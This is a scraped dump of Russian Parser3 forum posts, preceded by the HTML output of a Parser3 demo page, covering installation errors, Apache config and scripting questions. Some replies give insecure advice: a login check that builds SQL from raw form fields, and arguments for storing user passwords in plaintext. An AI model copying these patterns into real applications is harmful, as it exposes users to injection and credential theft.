<p>\
Вывод значений таблицы $tbl1:<br />\
\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Вася</td><td>3</td><td>5</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>Дима</td><td>4</td><td>14</td>\
		</tr>\
	\
	</table>\
\
\
\
\
\
</p>\
\
<pre>$tbl2[^table::create{name	col1	col2\
Вова	3	44}]</pre>\
\
Количество строк таблицы $tbl2: 1<br />\
\
\
<p>\
join таблицы $tbl1 к таблице $tbl2 [^tbl2.join[$tbl1]]<br />\
\
Количество строк таблицы $tbl2 ^tbl2.count[]: 3<br />\
Вывод полученой таблицы:<br />\
\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Вова</td><td>3</td><td>44</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>Вася</td><td>3</td><td>5</td>\
		</tr>\
	\
		<tr>\
			<td>3</td>\
			<td>Дима</td><td>4</td><td>14</td>\
		</tr>\
	\
	</table>\
\
\
\
\
\
</p>\
\
<p>select и вывод записей таблицы у который $col1 равен 3: $out_table[^tbl2.select($tbl2.col1 == 3)]<br />\
\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Вова</td><td>3</td><td>44</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>Вася</td><td>3</td><td>5</td>\
		</tr>\
	\
	</table>\
\
\
\
\
\
</p>\
\
<p>Получение из таблицы - хеша таблиц, где в качестве ключа выступает значение $col1: $tables_hash[^tbl2.hash[col1][$.distinct[tables]]]<br />\
\
	\
\
</p>\
\
\
	<p>Вывод полученного хеша таблиц:\
	<table cellpadding=\"2\" cellspacing=\"0\" border=\"1\" width=\"35%\">\
	<tr align=\"center\">\
		<th>Ключ</th>\
		<th>Значение</th>\
	</tr>\
	\
		<tr>\
			<td>3</td>\
			<td>\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\" width=\"100%\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Вова</td><td>3</td><td>44</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>Вася</td><td>3</td><td>5</td>\
		</tr>\
	\
	</table>\
\
\
\
\
</td>\
		</tr>\
	\
		<tr>\
			<td>4</td>\
			<td>\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\" width=\"100%\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Дима</td><td>4</td><td>14</td>\
		</tr>\
	\
	</table>\
\
\
\
\
</td>\
		</tr>\
	\
	</table>\
	</p>\
\
\
\
<h3>Работа с датами</h3>\
<p>\
$now[^date::now[]]<br />\
\
Получение сегодняшней даны $now.day/$now.month/$now.year: 3/4/2004<br />\
Вывод сегодняшней даты в sql формате ^now.sql-string[]: 2004-04-03 17:40:15<br />\
\
Сдвиг даты на 5 дней назад ^now.roll[day](-5): 29/3/2004<br />\
\
Сдвиг полученой даты на 30 дней вперед ^now.roll[day](30): 28/4/2004<br />\
</p>\
\
\
<h3>Работа с файлами</h3>\
<p>\
\
\
Запись таблицы $tbl1 в файл DOCUMENT_ROOT/_test.cfg [^tbl1.save[/_test.cfg]]:\
\
\
	\
	<b>файл успешно создан</b>\
\
</p>\
\
	<p>Получение параметров сохраненного файла $fstat[^file::stat[/_test.cfg]]:<br />\
	\
	Размер файла, байт [$fstat.size]: 34<br />\
	cdate: 3/4/2004<br />\
	adate: 3/4/2004<br />\
	mdate: 3/4/2004<br />\
	</p>\
		\
	<p>\
	Загрузка данных в таблицу $tbl3 из файла DOCUMENT_ROOT/_test.cfg и вывод [$tbl3[^table::load[/_test.cfg]]]:<br />\
	\
		\
		\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\
	\
	\
	<tr>\
		<th width=\"25%\">строка</th>\
		<th width=\"25%\">name</th><th width=\"25%\">col1</th><th width=\"25%\">col2</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>Вася</td><td>3</td><td>5</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>Дима</td><td>4</td><td>14</td>\
		</tr>\
	\
	</table>\
\
\
\
\
\
	\
	</p>\
\
\
\
<h3>Работа с переменными окружения</h3>\
\
\
\
	<b>QUERY_STRING:</b> $env:QUERY_STRING=''\
<br />\
	<b>HTTP_REFERER:</b> $env:HTTP_REFERER=''\
<br />\
	<b>HTTP_USER_AGENT:</b> $env:HTTP_USER_AGENT=''\
<br />\
	<b>REMOTE_HOST:</b> $env:REMOTE_HOST=''\
<br />\
	<b>REMOTE_ADDR:</b> $env:REMOTE_ADDR=''\
\
\
\
<h3>Работа с SQL</h3>\
<p>\
\
	\
	^int:sql{SELECT 2+2}:\
	\
		\
			\
				<b style=\"color:red\">Что-то непонятное с SQL.</b> Наверное не положены куда надо драйвера.\
				<br />Сообщение об ошибке:\
				<blockquote>\
					can't open the module\
					<br /><b>$sqldriversdir/parser3mysql.dll</b>\
				</blockquote>\
				\
			\
		\
	\
\
</p>\
\
\
<h3>Работа с XML</h3>\
<p>\
Создание объекта типа xdoc:<br />\
\
	\
	<pre>\
	$document[^xdoc::create{&lt;?xml version=&quot;1.0&quot; encoding=&quot;WINDOWS-1251&quot; ?&gt;\
&lt;document&gt;\
	&lt;t attr=&quot;привет&quot; n=&quot;123&quot;/&gt;\
	&lt;t attr=&quot;пока&quot; n=&quot;234&quot; n2=&quot;xxx&quot;/&gt;\
	&lt;text&gt;текст&lt;/text&gt;\
&lt;/document&gt;}]\
	</pre>\
	\
	Объект xdoc создан.<br />\
	\
	Достаем все элементы &lt;t /&gt; $elements[^document.select[//t]] :<br />\
	\
	Количество найденых элементов: 2<br />\
	Вывод найденых элементов с помощью foreach (порядок произвольный):<br >\
	\
    	имя: 't', тип: '1', кол-во аттрибутов: '2', аттрибуты: n='123', attr='привет'\
    <br />\
    	имя: 't', тип: '1', кол-во аттрибутов: '3', аттрибуты: n2='xxx', n='234', attr='пока'\
    \
\
</p>\
[/code]"
"28398","Друзья, видимо, что-то не находится в путях. Кодировки, SQL -- всё, что с путями связано, не работает.\
Надо переопределить как-то $confdir и иже с ними? Или если из шелла запускаешь, то он и не должен их находить?\
Пути у меня такие:\
/home/hwat/www/site1/cgi-bin/\
/home/hwat/www/site1/public_html/\
\
Что в auto.p писать? :-)"
"28399","По большому тексту будет намного быстрее, так по крайней мере в моём случае ;)"
"28400","Не пойму: в /cgi-bin/ лежал файл размером более 6 метров называвшийся parser с расширением core. Думал - он нужный, не трогал. Удалил - всё равно всё работает. Кто объяснит, что это было и зачем оно у меня на серваке лежало :) ?"
"28402","Навигация: как заставить Парсер делать такую вещь – когда ты находишься в папке www.site.ru/movie/, в меню слева ссылка «КИНО» высвечивается и становиться просто текстом. А когда по адресу www.site.ru/movie/shablon.html, ссылка «КИНО» высвечивается, но становиться ссылкой, чтобы попасть обратно на www.site.ru/movie/. Так вот я не могу заставить Парсер сделать это. \
Навигация в auto.p:\
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<TABLE width=100% height=100% border=0 cellspacing=0 cellpadding=0>\
	<TR><TD vAlign=top style=\"PADDING: 22 5 0 10; FONT-FAMILY: tahoma, verdana, arial, sans-serif ; FONT-SIZE: 120%\">^sections.menu{^navigation_cell[]} \
</TD></TR></TABLE>\
\
@navigation_cell[] \
^if($sections.uri eq $request:uri){ \
  \
<DIV style=\"MARGIN: 0 0 0 -3\"><TABLE bgcolor=#fffcf2 class=chosen_table><TR><TD><DIV class=chosen_text>$sections.name</DIV></TD></TR></TABLE></DIV>\
<DIV class=hint>$sections.hint</DIV>\
\
}{\
\
<DIV><A style=\"COLOR: #c69606\" href=\"$sections.uri\">$sections.name</A></DIV>\
<DIV class=hint>$sections.hint</DIV>}"
"28403","Кто-нибудь работал на парсере с ЯндксюДеньги или WebMoney? Хотелось бы узнать насколко это вообще реально и стоит ли это делать на парсере или лучше для этого использовать php или perl ?"
"28404","тока начал осваивать парсер....\
выдает такую бяку:\
element can not be stored to void\
connect-string\
\
C:/Inetpub/testweb/auto.p(2)\
exception.type=parser.runtime \
\
вот что внутри auto.p\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$sqldriversdir[$confdir/lib]\
\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
odbc	$sqldriversdir/parser3odbc.dll\
}]\
]\
^date.sql-string[]\
\
@auto[]\
$SQL.connect-string[odbc://DSN=SQL_base^;UID=user^;PWD=pass]\
\
при запуске тестовой странички сначало работало. потом крантец, перестало. ругается матом, мол не туда положил parser3odbc.dll\
\
как с этим бороться?"
"28407","Извиняюсь, я всё о своём..\
Может и не в тему, но вопрос такой:\
можно ли на анимиованное изображение в gif наложить текст? аля ^image.text() в парсере на статическое..\
Может imagemagick'ом каким.. Или это принципиально невозможно?"
"28408","разложить по кадрам, наложить текст и собрать в анимацию обратно."
"28410","Обрезай $request:uri до правого слэша (из /moviez/paga.html в /moviez/) и сравнивай с $sections.uri"
"28411","Всё работает нормально но когда пишу в .htaccess\
RewriteEngine On\
RewriteRule $ index.html\
\
появляется ошибка:\
Sun Apr 04 14:13:21 2004] [alert] [client 127.0.0.1] G:/server/www/admin/.htaccess: Invalid command 'RewriteEngine', perhaps mis-spelled or defined by a module not included in the server configuration, referer: http://localhost/\
\
Раньше ползовался Денвером и такой ошибки не было нос выходом парсер 3.1.2 перешёл просто на сервер.\
\
Что делать посоветуйте ?"
"28412","Мне требуется использовать хешфайл, но я не знаю, когда и [i]сколько раз[/i] он будет запрошен (сие зависит от действий пользователя). \
Загружать его по умолчанию или использовать его под разными именами не представляется целесообразным.\
\
Вопрос такой:\
Существует ли принципиальная разница между двумя подходами:\
\
1) отдельный метод \
[code]@load_settings_hash[]\
^if(!def  $settings_hash){\
	$settings_hash[^hashfile::open[$dir/ settings]]\
}[/code]\
\
2) всегда использовать [code]$settings_hash[^hashfile::open[$dir/settings]][/code]"
"28413","Есть проблема с rewrite_mod на Apache 2: нужно его установить.\
Только и всего."
"28414","подружил я их таки ;) заработало ;)"
"28416","У меня, похоже, какой-то глупый хостер, который вообще не реагирует на ErrorDocument в .htaccess. Поэтому если у кого есть код для Парсера, который бы обрабатывал 404-ю для всех файлов, а не только .html - поделитесь плиз!"
"28417","Если поможет то поиск по форуму рулит"
"28418","В форуме этот вопрос обсуждался\
Возможно поможет вот это http://www.parser.ru/docs/lang/opin.htm"
"28419","Да, действительно то, что нужно. Большое спасибо!"
"28420","А как обрезать /moviez/paga.html до /moviez/ ?(Я еще совсем новичок)"
"28421","... в этой директиве как-раз указывается Парсерный файл-обработчик. Так что без него, похоже, не получится."
"28423","я не очень силён, может даже это?"
"28424","они — фирменная фраза — не в духе parser.\
[b]обычно[/b] существует элегантное решение и без них."
"28426","Не смог \"выключится\" из контекста XSLT - там такая фишка не пройдет..."
"28427","возможно, поможет."
"28430","когда очередной раз «любимый» oracle выкинул очередной фортель, я пошёл googl'ить, как быть.\
\
вместо ответа, было получено море страниц, где вывалилась ровно эта ошибка oracle в проектах других людей.\
\
кстати, ровно поэтому в parser сделана такая недетализированная ошибка по-умолчанию."
"28432","файл при этом считывается не целиком, а только какой-то маленький заголовок.\
\
если будет критично, оформите защёлкивание:\
[code]\
@CLASS\
settings\
\
@maybe_open[]\
^if(!$hashfile){\
$hashfile[^hashfile::open[xxx]]\
}\
\
@get[name]\
^maybe_open[]\
$result[$hashfile.$name]\
\
@set[name]\
...\
[/code]\
\
так и эффективно, и в любой момент вы сможете передумать, где хранить settings."
"28433","и поправил, наконец, скрипт их сборки, чтобы такого не повторилось."
"28434","надо будет заодно переделать, сейчас запуск файлов реализован не самым лучшим образом, можно лучше."
"28435","Перескачивал все архивы, не нашел..."
"28436","недавно один корреспондент посоветал пойти мне в отпуск.\
я ему ответил, что вечером вношу половину денег агенству :)\
\
так вот… сегодня вношу вторую часть."
"28439","...реализовать возможность предавать все переменные окуржения (а также $env,$form, и т.д.) чтобы в ручную не извращатся.\
Дело в том, что часто приходится из Парсера запускать скрипты которые написаны в расчете на запуск в одиночном режиме."
"28440","А вы им на это скажите, что php рассыпался бы с детализацией где и почему он не смог подключиться к mysql. :) Ибо проблема была в упавшем mysql."
"28443","В документации\
 Класс string\
  Метод match. Поиск подстроки по шаблону\
\
и вообще там очень много полезного для работы со строками"
"28444","А как это сделать ?"
"28448","причём их не надо вылавливать из html кода."
"28450","Никак не получается."
"28453","без этого слова в заголовке письма… письма попадают в мусорку, откуда иногда спасу, а иногда и нет.\
\
указывайте, если хотите, чтобы я прочитал ваше письмо.\
\
[недавно нечаянно опять стёр что-то]"
"28454","Как это сделать"
"28456","Здравствуйте\
Помогите меня заклинело. Никак не могу его заставить работать.\
Может ли кто написать подробно что нужно делать что бы PARSER стал работать напримере (Денвера) или кто как сам делает.\
Понимаю кому не лень напишите...\
\
Заранее благодарен."
"28458","Другие варианты? )"
"28462","Если с чем-то не разберётесь поможем."
"28463","-"
"28464","Текущая статистика:\
==========\
[code]\
Классифицированные письма:...........3,840\
Ошибки классификации:...................24\
Точность:............................99.37%\
\
Классифицированные письма\
Ведро          Классифицировано FalsePositives FalseNegatives \
inbox           1,115 (28.90%)         18             14\
[color=\"red\"]spam[/color]            2,725 (70.65%)          [color=\"red\"]6[/color]             53\
unclassified       17 (0.44%)          43\
[/code]\
==========\
\
http://popfile.sourceforge.net/\
\
Ставится и на локальную машину и на сайт в качестве спам-фильтра \"общего\" (конторского) доступа. \"Обучение\" POPFile - индивидуальное."
"28467","Запустил этот скрипт. \
На экран привычно вывелась ошибка 500, оформленная под моего трижды любимого провайдера. В логи ничего не записалось. В шелле эта штука запускается без всяких проблем. \
Мне стреляться сразу или недельку еще подождать? :-)\
\
Спасибо за терпение, кстати."
"28468","Я впервые столкнулся с проблемой сохранения версионности файлов в проекте.\
После прочтения разных статей понял, что для этой цели хорошо подходит связка CVSNT(сервер) \
и WinCvs(клиент).\
\
Но после того, как я попытался разобраться, как это все настроить и затем использовать, \
столкнулся с тем, что все совершенно непонятно. Как вообще этим пользоваться художникам,\
leveldesigner'ам. \
\
У нас есть сеть с сервером, на нем есть дирректория нашего проекта, где хранятся исходники, \
текстуры, уровни. Как при помощи CVSNT и WinCvs организавать систему, когда разные люди будут\
в эту дирректорию записывать одни и те же файлы изображений/исходников или разные.\
\
Как это все правильно настроить, куда и как все это ставить? И можно ли потом записывать в эту \
дирректорию на сервере файлы используя FAR или прямо из папок Windows?"
"28469","1. в который запишите \
\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
echo OK\
[/code]\
\
2. который разрешите на исполнение\
\
если эта штука в консоли запустится, а через веб нет, спросите вашего провайдера, в чём дело."
"28470","ответы приветствуются только, если кто знает ссылку на подробное описание.\
\
попытки описать своими словами не приветствуются."
"28471","А какова специфика работы с системами электронный платежей?"
"28472","Уважаемые программисты, нам (Компании \"Рутэк.ру\") требуются программисты SQL со знанием 1С. Если Вас заинтересовало такое предложение, пришлите мне, пожалуйста, свое резюме на mail. В ответном письме я отправлю подробное описание вакансии. Спасибо."
"28473","Обратить внимание надо на URL точнее на скобку, если заменить скобку на знак  = то сбрасывает на сообщение за 2002 год.\
\
\
> На ваше сообщение в форуме\
> http://www.parser.ru/forum/?id(456 от 19:15 05.04.2004 \
ответили.\
> \
> Автор: 'Oleg'\
> Заголовок: 'В доккументации и в faq всё описано.'\
> Сообщение: 'Если с чем-то не разберётесь поможем.'\
> \
> Всю дискуссию по этой теме вы можете увидеть на странице \
форума по адресу:\
> http://www.parser.ru/forum/?id(462\
>"
"28474","Просто комментарий: на мой взгляд [url=\"http://www.tortoisecvs.org/\"]TortoiseCVS[/url] попроще (чем wincvs) далёким от этого дела людям: встраивается в explorer, в контекстном меню файлов и папок появляется менюшка (\"обновить\", \"зафиксировать\", \"дерево изменений\" и пр.)"
"28476","Это часто нужно для платежных систем.\
Ато wget-om как-то не очень хорошо :))"
"28477","сделать с libssleay совсем не сложно"
"28478","http://www.parser.ru/forum/?id=27082\
\
большое спасибо Павлу Титову!"
"28481","потом полечат. да, пока только прямой адрес:\
http://cvsview.parser.ru \
\
тот удобен для запоминания. заработает."
"28482","my $ZZZ = \"aaa\".\
\"bbb\";\
\
Я так понял это определение переменной.\
\
$ZZZ[aaabbb] не канает. Что значит эта точка между \"aaa\" и \"bbb\" ?"
"28483","Не умею на C %(( Все подручные средства пишу на Free Pascal ..."
"28484",". - знак конкатенации, т.е. объединения строк.\
$ZZZ[aaabbb] - в этом случае очень даже \"канает\"."
"28485","Спасибо. Буду искать ошибку в другом..."
"28486","Как проверить пароль из mySql на совпадение с паролем из формы??"
"28487","Че за пароль? Как закодирован?\
\
^if($izbazy eq $form:vvedeno) {yes}{no}\
\
PS. \
Дока -> математические операторы -> там готовый пример проверки пароля"
"28488","Последнюю запись из базы:\
\
1) лимитом - SELECT * FROM `base` ORDER BY `field` DESC LIMIT 1\
2) или тупо вывести переменную-хеш со всей базой внутри БЕЗ .menu (что даст последнюю запись)\
\
ЗЫ. А другие способы есть?"
"28489","Несколько дней назад писал сюда вопрос, как посчитать количество слешей в пути... Сейчас не могу найти свой вопрос, в том числе поиско :( Это технические проблемы или что? Прокоментируте, плиз\
Матом вроде не ругался :)"
"28490","Есть таблица с logins/pass пользователей и есть форма с 2 полями надо проверить введённые в форму данные на совпадение с темиже полями в БД."
"28492","И если есть очевидные документированные способы решения проблемы, а также если:\
\
1) вопрос не содержит явного заголовка обозначающего проблему.\
2) раскрытого комментария что пытались сделать чтобы устранить проблему.\
3) что получили в результате.\
4) что хотели получить.\
\
P.S. Это сообщение тоже может стать явным кандидатом на удаление, т.к. все это описано в FAQ"
"28493","все просто\
простой, но некрасивый вариант\
[code]\
select * from TABLE where login='$form:login' AND password='$form:password'\
[/code]\
немного красивее\
[code]\
$password[^string:sql{select password from TABLE where login='$form:login'}]\
\
^if($password eq \"$form:password\"){OK}{not OK}\
[/code]"
"28494","^math:crypt[] у парсера, PASSWORD() у mysql. примеры в документациях."
"28495","[quot]\
PASSWORD(str) \
OLD_PASSWORD(str) \
Создает строку \"пароля\" из простого текста в аргументе str. Именно эта функция используется в целях шифрования паролей MySQL для хранения в столбце Password в таблице привилегий user: \
\
mysql> SELECT PASSWORD('badpwd');\
        -> '7f84554057dd964b'\
Шифрование, которое выполняет функция PASSWORD(), необратимо. Способ шифрования пароля, который используется функцией PASSWORD(), отличается от применяемого для шифрования паролей в Unix. Функция PASSWORD() используется в системе аутентификации в сервер MySQL, [b]вам не следует использовать ее для ваших собственных приложений. С этой целью, лучше используйте функции MD5() и SHA1().[/b]\
[/quot]"
"28496","по-моему без разницы как их хранить в базе.\
если уж кто-то получил доступ к самой базе - уже все равно шифрованные они или нет. \
все равно считай что все пароли надо менять, а вломившемуся не составит труда сгенерировать свой пароль через тот же password() или MD5() и т.д. и записать поверх старого"
"28497","Все зависит от конкретного случая, и если на то пошло,то лучше MD5(), как и советуют MySQL"
"28498","parser очень удобная штука!\
\
1. но вот вопрос - как получать из строки с url\
значение переменной с типом string?\
почему всегда идет несоответствие типов,\
parser говорит invalid int, double\
вообщем что-то вроде того. понятно, что когда \
работаем с числами всё ок. а как со строками?\
например, если надо просто передать имя файла из\
строки url. pls, подскажите. просто бл., пробовал\
по разному. \
\
2. вопрос - у кого можно взять (где скачать) парсерных \
исходников на предмет \"изучить-научиться\" ? \
чтоб, например, таких тупых вопросов не возникало\
как в п.1..."
"28499","1. читайте документацию и faq (что вы [b]хотели получить[/b], что вы [b]делали[/b] и что [b]получили[/b])\
\
2. документация, примеры"
"28500","> parser очень удобная штука!\
По этому поводу мы все и собрались тут :)\
\
\
1. но вот вопрос - как получать из строки с url\
значение переменной с типом string?\
--\
$form:variable\
а дальше чсистите их, преобразовывайте сколько угодно.\
Рекомендую почитать про  taint/untaint\
--\
\
 \
2. вопрос - у кого можно взять (где скачать) парсерных \
исходников на предмет \"изучить-научиться\" ? \
чтоб, например, таких тупых вопросов не возникало\
как в п.1...\
http://www.parser.ru/download/"
"28501","достуты бывают разные.\
\
бывает дамп базы скомуниздят, при этом на содержимое живой базы не могут повлиять (если конечно в дампе нету открытых административных паролей).\
\
и это, по моему, более частовстречающийся вариант, чем полученный полный доступ."
"28502","Согласен, но!\
Зачем вообще пароль человеку, который получил доступ к базе (пускай только на чтение). Конечная цель - не пароль, а информация в базе, к которой обеспечивается доступ по паролю. Раз он уже может копаться в ней, пароли как таковые уже малоинтересны.\
Короче говоря, владельцу взломанной базы придется принимать меры в любом случае, зашифрованы были пароли или нет. Информацию уже можно считать потерянной, никогда ведь на 100% нельзя быть уверенным что именно было украдено, а что нет, поэтому, как правило, все надо начинать с нуля."
"28503","А по моему Вы просто боитесь зашифрованных паролей, из чего напрашивается вывод, что Вы не умеете с ними работать. Ведь вреда от шифрования пароля нет никакого, а польза на лицо. ;)"
"28504","Интересный вывод :))\
Да нет, никто никого не боится, дело в том, что мне, к примеру, приходится хранить пароли в plaintext'e чтобы иметь банальную систему напоминания паролей. Если я в базе буду хранить MD5 хэши, то напомнить пользователю пароль я уже не смогу :)"
"28505","А Вы не напоминайте ему пароль, а заводите новый если он забыл старый. Как на Яндексе реализовано.\
\
P.S. Хотя, по моему, это уже перерастает в офф-топик. Так что мои извинения :)"
"28506","Усем большой сенкс!"
"28507","вы можете делать как вам больше нравится.\
\
однако я прежде чем где-то регистрироваться смотрю, есть-ли система \"напомнить пароль\", и если она есть, то мой пароль не бывает сложнее 123 :)\
\
в данном форуме нету возможности узнать какой [b]был[/b] пароль. но есть возможность задать новый пароль не зная старый.\
\
что касается ценности информации, так тут вы правы лишь отчасти.\
берем этот форум (или сайт целиком): практически вся информация и так доступна пользователям.\
\
и ценность информации не только в её наличии, но и в её достоверности. в случае этого сайта если украдут БД все равно не смогут исправить статьи/писать сообщения в форуме от имени лиц, вызывающих доверие у посетителей.\
\
P.S. я не утверждаю, что информацию не стоит защищать.\
P.P.S. давайте закончим этот ОФФ. вам решать как будете делать вы. но я считаю что мизерные затраты на шифрацию окупают себя слихвой."
"28508","прописываю в httpd.conf или в .htaccess\
пишет: The server encountered an internal error or misconfiguration and was unable to complete your request."
"28509","Если cgi, то писать никуда ничего не надо."
"28510","как модуль: httpd.conf\
LoadModule parser3_module /parser/ApacheModuleParser3.dll \
версия 3.1.2 от 31 марта кажется"
"28511","Изините, но в том случае, если после постановки задачи, прочтения документации от и до, мозгового штурма все таки не родилось ни одного решения, то задавать здесь вопрос нельзя, потому что как минимум 2 и 3-й пункт соблюдены не будут. Хорошее однако отношение. В этом случае новичкам здесь вообще делать практически нечего, потому что мало того, что будут посланы, так еще и их вопросу просто сотрут, и разбирайтесь как хотите сами. Более того, может кто то и захочет ответить, но его совет тоже будет уничтожен и до адресата не дойдет. Отлично. \
Может Вам будет проще закрыть форум, оставив его для профи по авторизации? И ноу проблем. Извините за эмоции.\
С первым пунктом я согласен - был не прав... Заголовки важны, но, ИМХО, это не повод"
"28512","Начитавшись вдоволь FAQ  и сообщений в этом форуме, все-таки решил задать этот вопрос: после апгрейда сервера с 2000 на 2003 перестал запускаться парсер. Я его переустановил, не помогло (ставил как 3.1.1,так и 3.1.2).\
В httpd.conf апача хэндлер назначил, в auto.p парсера все пути указаны правильно.\
Т.к. сервер на 2к3 отпадает проблема ascii/binary, неправильного chmod'a, а также неправильной версии бинарника.\
\
Сама ошибка выглядит так:\
[Wed Apr 07 17:03:45 2004] [error] [client 192.168.129.50] Premature end of script headers: f:/usr/local/apache/cgi-bin/parser3.exe\
\
при обращении к самому parser3.exe - то же самое... Т.е. до обоработки html файла дело не доходит.\
Просто из командной строки parser.exe запускается нормально, показывает копирайт.\
Что еще такое можно посмотреть даже не знаю, все конфиги перепроверил по нескольку раз. На 2000-м все работало без проблем с теми же настройками.\
Есть идеи?"
"28513","Вот этот тред:\
http://www.parser.ru/forum/?id=28246 по Вашим критериям должен был быть удален моментально, так как не соответствует ни одному из перечисленных Вами, Евгений, требований. Более того, там Парсер даже не упоминается и не подрузомевается. Как же так? это более содержательное с Вашей точки зрения сообщение? \
Ах, ну да, это же нужно студии Лебедева, я совсем забыл это учесть."
"28515","все это дело крутится из под администраторского аккаунта. можно всё."
"28516","вы доступаете к файлу посредством веб-сервера оно запускается из-под IUSR_****\
разрешите этому юзеру чтение и запуск файлов в папке с Парсером. на ВСЕ файлы. \
и проверьте wwwroot"
"28518","Вопрос главным образом к авторам \"типографов\":\
Иногда обработку типографики помещают в @postprocess[]. Правильно ли это?\
Насколько \"грузится\" сервер при такой обработке текста?\
Не лучше ли будет производить проверку и коррекцию типографики один раз - при размещении текста?"
"28519","V postprocess - ono 1 raz i budet obrabotano. \
U menja lichno postprocess ne \"gruzit\" server voobshe..."
"28520","предложения о работе \"околовебных\" специальностей тут не запрещены (и не только предложения от студии. кстати упоминаемое вами предложение от студии тут по моему первое и единственное), это вы могли-бы заметить. свежий пример:\
http://www.parser.ru/forum/?id=28472\
\
однако когда речь заходит о помощи в написании парсерного кода подразумевается, что вопрощающий перед публикацией сообщения ознакомился с документацией и FAQ, кроме того он воспользовался поиском по документации и форуму. если из его сообщения следует обратное, модераторы оставляют за собой право удалить подобное сообщение."
"28521","причина: авто типографика такая штука которая не всегда с чем-то справляется, и требуются ручные корректировки, которые при автопилоте невозможны.\
\
у нас в БД попадает уже оттипографленные тексты, которые просто выводятся.\
\
то, что XY match не создают дополнительную нагрузку на сервер при обработке 60 КБ текста странички я не поверю. а когда это в online (да ещё вдруг без кеша) и ходят по несколько пользователей одновременно, то..."
"28522","стоит взять кило 50, да рег. выражений десятка 2, увидите разницу :)"
"28523","Хм, попробую :) Просто моё парсерное чудо не предполагает текстов больше 255 байт :)"
"28524","255 байт это [b]не[/b] текст, а так, пшик, тут и 100 навороченных рег. выражений никогда (ну или почти никогда) тормозить не будут на теперешнем железе, но это не повод расслабляться."
"28526","В postprocess типографику действительно не следует помещать. Миша правильно сказал, не весь текст стопроцентно правильно типографируется. Простой пример: слово \" слово. К какому из слов относится ковычка определить невозможно, а ведь их нужно преобразовывать в ёлочки и лапки.\
\
Лучше всего типографику делать при посте данных, при этом еще и сохранять отдельно чистый (нетипографированный) текст.\
Совсем недавно у меня был случай когда я случайно затер часть не того правила и в тексте вместо ожидаемого: г.&nbsp;Москва получал &nbsp;. Вот тут то и потребовался нетипографированный текст, чтобы восстановить это безобразие.\
\
Если типографику делать на лету (необязательно в постпроцессе), то ее нужно обязательно кешировать. Сэкономите в десять раз меньше ресурсов. Замерял лично.\
\
Что касаемо величины текста. На максимум не проверял, но на телевизионную программку (на неделю) с тегами весом в 400кб, и одним запросом из базы, не хватает 26 мегабайт памяти выделеной на процесс, для типографирования на лету (использую 48 рег. выражений). Вывод - типографировать нужно при посте."
"28527","Посмотрите класс, его методы. В нем есть решение вашей проблемы.\
А если уж брать чистоту кода то * не самый лучший вариант перечисления полей."
"28528","и сделайте то, что там написано. copy/paste пожалуйста."
"28529","> Изините, но в том случае, если после постановки задачи, \
> прочтения документации от и до, мозгового штурма все таки не \
> родилось ни одного решения, то задавать здесь вопрос нельзя, \
> потому что как минимум 2 и 3-й пункт соблюдены не будут. \
> Хорошее однако отношение. \
\
Ну так а кто мешает написать, что пробовали, конкретные куски кода привести, какие шаги предпринимали для решения проблемы, свои мысли, наконец...\
\
Никто такой постинг удалять не будет, я вас уверяю."
"28530","Нет там типографики в сайтовых движках. Только в административной части.\
В базу попадают уже оттипографленные тексты."
"28531","там написано отнюдь не про разрешение класса status. а как устанавливать Парсер на Апачи в виде модуля я уже в курсе, перерыл все...\
зы: и поиск бы по faq сделали бы чтоли..."
"28532","вы тут http://www.parser.ru/forum/?id=28508 пишете о некоей проблеме. \
\
в FAQ подробно написано, как о проблеме надо сообщать.\
\
кстати: смените тон."
"28533","та же что и здесь:\
http://www.parser.ru/forum/?id=19071\
зачем ее описывать дважды? все что было отвечено по данной проблеме, вызывает ошибку либо не помогает.\
зы: тон как тон."
"28535","да, конечно, целиком. Но к сожалению, руки у меня наверно кривые. Апачи очень ругается на ParserStatusAllowed"
"28536","Тут сегодня уже был вам совет."
"28537","баклан, не нужно гадать, нужно прочитать доку по апачу внимательно. ПАФ написал, что можно сделать так:\
[code]\
<location />\
ParserStatusAllowed\
</location>\
[/code]\
Погляди теперь, допускается ли location в .htaccess? нет конечно, поэтому и 500-я. Поэтому читать нужно о httpd.conf, о его правильном синтаксисе.\
\
Кстати я делаю (на тестовой машине) так:\
[code]\
<Directory />\
    Options FollowSymLinks\
    AllowOverride None\
    ParserStatusAllowed\
</Directory>\
[/code]"
"28538","Хочу загрузить страницу:\
[code]\
$han[http://www.site.ru]\
$f[^f::load[text;$han]]\
$txt[$f.text]\
[/code]\
Но возникает данная ошибка, если страницу открывать через браузер, то она грузится почти мгновенно.\
Как это вылечить?\
